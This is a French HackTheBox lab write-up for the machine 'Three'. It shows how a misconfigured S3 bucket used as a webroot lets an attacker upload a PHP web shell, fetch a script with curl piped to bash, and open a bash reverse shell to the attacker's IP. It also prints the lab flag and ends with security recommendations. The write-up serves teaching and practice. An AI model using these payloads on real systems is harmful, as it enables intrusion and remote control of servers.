HackTheBox · Machine Linux · Write‑up Avancé

Three

Exploitation d’un bucket S3 mal configuré pour obtenir un reverse shell et compromettre la machine Three. Chaque terme — bucket, endpoint, awscli, reverse shell, architecture C2 — est décortiqué avec une approche pédagogique et professionnelle.

S3 Bucket Information Disclosure Linux · Easy AWS CLI Reverse Shell

Présentation du Challenge

Three est une machine Linux de difficulté facile sur HackTheBox. Elle expose un site web statique qui utilise un bucket Amazon S3 comme stockage pour ses fichiers. Le bucket est mal configuré, ce qui permet à un attaquant de lister son contenu, d’y télécharger un fichier et d’exécuter du code arbitraire sur le serveur web.

Note : La machine utilise LocalStack pour simuler S3 — un temps de démarrage est nécessaire.

L’objectif est d’obtenir un reverse shell et de lire le fichier /var/www/flag.txt. Ce write‑up détaille chaque étape, de la reconnaissance à la prise de contrôle, en passant par l’explication des concepts clés.

Fondamentaux Théoriques

Amazon S3 & Buckets

Bucket S3
Un bucket est un conteneur de données dans le service Amazon Simple Storage Service (S3). Il permet de stocker et de récupérer n’importe quelle quantité de données, à tout moment, depuis n’importe où sur le web. Chaque bucket possède un nom unique globalement et des politiques de contrôle d’accès (IAM, ACLs). Une mauvaise configuration peut exposer publiquement son contenu ou autoriser des opérations non sécurisées (upload, delete, etc.).

AWS CLI & Endpoint

AWS CLI
Outil en ligne de commande pour interagir avec les services AWS. Il utilise des identifiants (Access Key / Secret Key) pour authentifier les requêtes. Dans le cadre de ce challenge, le serveur S3 est hébergé sur un endpoint personnalisé (http://s3.thetoppers.htb) et ne vérifie pas les identifiants — il accepte des valeurs factices.
Subdomain / VHost
Un sous‑domaine (ex: s3.thetoppers.htb) est une partie du domaine principal. Il peut pointer vers une adresse IP différente ou être géré par le même serveur via virtual host (routage basé sur l’en‑tête Host). L’énumération de sous‑domaines permet de découvrir des services cachés.

Reverse Shell & C2

Reverse Shell
Une connexion où la cible (la machine victime) initie une session vers l’attaquant. Contrairement à un bind shell (où la victime écoute), le reverse shell contourne les pare‑feux entrants et donne un accès interactif au système.
Architecture C2 (Command & Control)
Un système où un attaquant maintient une communication avec une machine compromise. Le reverse shell obtenu agit comme un implant qui se connecte à un serveur de commande (l’attaquant). Cette architecture permet de transmettre des ordres et d’exfiltrer des données. Dans ce challenge, le serveur HTTP Python et le listener Netcat forment un C2 minimaliste.

Reconnaissance — Nmap & Gobuster

Un scan Nmap révèle deux ports ouverts :

nmap -sV 10.129.227.248
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Le site web (port 80) présente une page statique avec un formulaire de contact qui pointe vers /action_page.php, indiquant la présence de PHP. L’adresse email mentionne le domaine thetoppers.htb.

Le fichier /etc/hosts

/etc/hosts
Fichier système utilisé pour la résolution de noms de domaine localement. Il est consulté avant les serveurs DNS. Ajouter une entrée permet de forcer un nom de domaine à pointer vers une IP spécifique, indispensable lorsque le domaine n’est pas résolu publiquement ou lorsqu’on veut accéder à un vhost interne.

On ajoute donc le domaine :

Bash
echo "10.129.227.248 thetoppers.htb" | sudo tee -a /etc/hosts

Désormais, le navigateur résout thetoppers.htb vers la machine cible.

Énumération des sous‑domaines avec Gobuster

Les sous‑domaines permettent d’organiser des services distincts. On utilise gobuster en mode vhost pour les découvrir :

Bash
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain

L’option --append-domain (Gobuster v3.2+) permet de tester sous‑domaine.thetoppers.htb. Le résultat révèle un sous‑domaine intéressant :

Gobuster output
Found: s3.thetoppers.htb

Ce sous‑domaine s3.thetoppers.htb laisse présager un service S3.

Découverte du bucket S3

On configure AWS CLI avec des identifiants factices (le serveur n’authentifie pas) :

Bash
aws configure
# Access Key ID: test
# Secret Access Key: test
# Region: us-east-1
# Output format: json

On liste les buckets disponibles via l’endpoint personnalisé :

Bash
aws --endpoint-url=http://s3.thetoppers.htb s3 ls
Output
2021-12-14 15:17:07 thetoppers.htb

Un seul bucket nommé thetoppers.htb. On liste son contenu :

Bash
aws --endpoint-url=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb/
Output
                           PRE images/
2021-12-14 15:17:08         52 .htaccess
2021-12-14 15:17:08       3405 index.php

On découvre la racine du site web (index.php, .htaccess) stockée dans le bucket. Le bucket est donc utilisé comme webroot par le serveur Apache.

Exploitation — Upload d’un shell PHP

Puisque le bucket sert de webroot, on peut y télécharger un fichier PHP qui sera exécuté par le serveur. On crée un shell simple qui utilise la fonction system() pour exécuter des commandes système via le paramètre GET cmd :

PHP
<?php system($_GET["cmd"]); ?>

On l’upload avec AWS CLI :

Bash
aws --endpoint-url=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/

On vérifie l’exécution en accédant à http://thetoppers.htb/shell.php?cmd=id. Le résultat affiche uid=33(www-data), confirmant l’exécution de code.

RCE (Remote Code Execution) confirmée !

Reverse Shell & C2

Pour obtenir un shell interactif, on prépare un script bash de reverse shell (shell.sh) pointant vers notre machine (IP tun0) sur le port 1337.

Bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.32/1337 0>&1

Explication : bash -i lance un shell interactif. >& /dev/tcp/IP/PORT redirige les entrées/sorties vers une socket TCP. 0>&1 redirige stdin vers stdout pour que les commandes fonctionnent.

On héberge ce fichier via un serveur HTTP Python :

Bash
python3 -m http.server 8000

On écoute en attente de la connexion :

Bash
nc -nvlp 1337

On exécute la commande suivante via le shell PHP pour télécharger et exécuter le script :

URL
http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.32:8000/shell.sh%7Cbash

Détail : %20 est l’encodage URL pour un espace, %7C pour le pipe |. La commande exécutée est : curl 10.10.14.32:8000/shell.sh | bash.

La victime se connecte à notre Netcat, nous donnant un shell www-data.

Shell obtenu
Ncat: Connection from 10.129.224.137:34888.
www-data@three:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Récupération du flag

Une fois dans le shell, on navigue vers /var/www et on lit flag.txt :

Flag
www-data@three:/var/www$ cat flag.txt
a980d99281a28d638ac68b9bf9453c2b
Flag
a980d99281a28d638ac68b9bf9453c2b

Analyse de l’architecture C2

L’attaque utilisée dans ce challenge met en œuvre une architecture Command & Control (C2) minimaliste. Voici les composants :

Implant (Agent)
Le shell PHP (shell.php) et le script bash (shell.sh) servent d’implant. Ils reçoivent des commandes via HTTP et exécutent des actions (reverse shell).
Serveur C2 (Attaquant)
Le serveur HTTP Python et le listener Netcat constituent le C2. L’attaquant envoie des ordres (téléchargement du script) et reçoit les résultats via la session reverse.
Canal de communication
La connexion TCP établie entre la victime et l’attaquant (reverse shell) sert de canal bidirectionnel pour les commandes et les sorties.

Diagramme d’attaque

Attaquant (Kali) Web Server Apache + PHP S3 Bucket (thetoppers.htb) C2 Server (Attaquant) 1. Découverte (nmap, gobuster) 2. Upload shell.php (aws s3 cp) 3. Exécution (curl / shell.php) 4. Reverse shell (TCP 1337)

Légende :
Flèches animées : étapes de l’attaque.
Flèche jaune : exécution du shell PHP.
Flèche rouge : établissement du reverse shell.

Recommandations de sécurité

  • Restreindre les permissions S3 : Ne jamais autoriser l’upload public sur un bucket utilisé comme webroot. Utiliser des politiques IAM strictes et des ACLs privées.
  • Valider et filtrer les entrées : Le shell PHP accepte n’importe quelle commande via $_GET["cmd"]. Désactiver system() et les fonctions dangereuses dans php.ini (disable_functions).
  • Isoler les services : Le bucket S3 ne devrait pas être utilisé comme répertoire web direct. Un proxy ou un cache peut éviter l’exécution de code.
  • Surveiller les accès anormaux : Mettre en place des logs détaillés sur les requêtes S3 et les appels HTTP suspects.
  • Principes du moindre privilège : L’utilisateur www-data ne devrait pas avoir accès au fichier flag.txt en dehors du webroot.
  • Mettre à jour régulièrement : Les vulnérabilités de configuration cloud évoluent ; des audits réguliers sont nécessaires.